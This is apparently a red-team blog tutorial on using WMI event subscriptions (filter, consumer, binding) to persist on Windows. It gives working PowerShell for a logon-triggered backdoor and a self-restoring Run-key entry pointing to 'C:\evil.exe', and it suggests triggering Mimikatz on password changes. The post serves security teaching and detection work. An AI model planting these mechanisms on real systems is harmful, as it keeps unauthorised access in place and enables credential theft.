Getting Started with WMI Weaponization – Part 5
Establishing Persistence with WMI
Like SQL, WMI can be setup with a set of Triggers. We can use these triggers to maintain persistence on a system by launching commands after a specified event is detected. These are stored in the root/subscription namespace and fall into two broad categories, Intrinsic Events and Extrinsic Events.
Intrinsic Events
Intrinsic events work off a polling rate, wherein WMI polls the Windows Event Tracer at a set interval, checking if an event has occurred. The WMI polling must occur while the event is occurring or else WMI will miss the event and not trigger. Due to this, WMI triggers with an insufficient polling rate have the potential to miss events.
Extrinsic Events
Extrinsic Events, instead of working off a polling rate where the event is pulled into WMI, have the event pushed into WMI. Due to this, the trigger will not miss the event. While Extrinsic events are more reliable, there are also far fewer events that trigger this way.
Breakdown of Triggering
WMI triggers consist of three parts:
- Filter
- Consumer
- Binding
Let’s look at an example of an intrinsic event similar to what is in the awesome PowerLurk WMI persistence script:
Filter
The filter looks for the triggering event.
$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{ EventNamespace = 'root/cimv2' Name = "Backdoor Logon Filter" Query = "SELECT * FROM __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'Win32_LoggedOnUser'" QueryLanguage = 'WQL' }
In this example, we use the Set-WmiInstance commandlet to create a new instance of an EventFilter in the root\subscription namespace. In this we define a query that polls from the InstanceCreationEvent class looking for an Instance that matches the Win32_LoggedOnUser class. The polling rate is defined in the WITHIN 10 clause.
Consumer
The consumer is launched upon the successful match of a filter. Now let’s look at an example consumer:
$command = "powershell.exe -Command Set-Content -Path C:\text.txt -Value texttext" $Consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{ Name = "Backdoor Consumer" CommandLineTemplate = $Command }
In this example, we create an instance within the CommandLineEventConsumer class which is also located in the root\subscription namespace. This type of consumer can execute a series of commands on the command line.
Binding
Now let’s examine a binding
Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{ Filter = $Filter Consumer = $Consumer }
A binding takes an EventFilter and ties it to a consumer that is executed whenever the filter is matched. This entire sequence of events will look for a user logon event and then afterwords execute a command. In this instance, we just created a file, however a more imaginative attacker could do far more interesting things.
The previous was an example of an Intrinsic event. Let’s now examine a slightly more complicated example that uses and Extrinsic event.
$Path = "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" $Name = "Registry Backdoor" $Value = "C:\evil.exe" $Command = "powershell.exe -Command Set-ItemProperty $path -Name $name -Value $value" $Filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{ EventNamespace = 'root/cimv2' Name = "Backdoor Registry Filter" Query = "SELECT * FROM RegistryValueChangeEvent WHERE Hive='HKEY_LOCAL_MACHINE' AND KeyPath=''SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\'' AND ValueName = '$name'" QueryLanguage = 'WQL' } $Consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{ Name = "Backdoor Registry Consumer" CommandLineTemplate = $Command } $Binding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{ Filter = $Filter Consumer = $Consumer }
In this instance we setup an extrinsic event that looks for a registry entry change in theHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ key and upon detecting the change restores the keys value.
There are many possible uses for WMI Event Triggers and Consumers. For instance we could trigger on a password change event and run Invoke-Mimikatz afterword.
Explore more blog posts
Part 1: Ready for Red Teaming? Intelligence-Driven Planning for Effective Scenarios
Take time for dedicated planning and evaluation ahead of red team testing to prepare your organisation for effective red team exercises.
The Strategic Value of Platformization for Proactive Security
Read about NetSPI’s latest Platform milestone, enabling continuous threat exposure management (CTEM) with consolidated proactive security solutions.
Backdooring Azure Automation Account Packages and Runtime Environments
Azure Automation Accounts can allow an attacker to persist in the associated packages that support runbooks. Learn how attackers can maintain access to an Automation Account.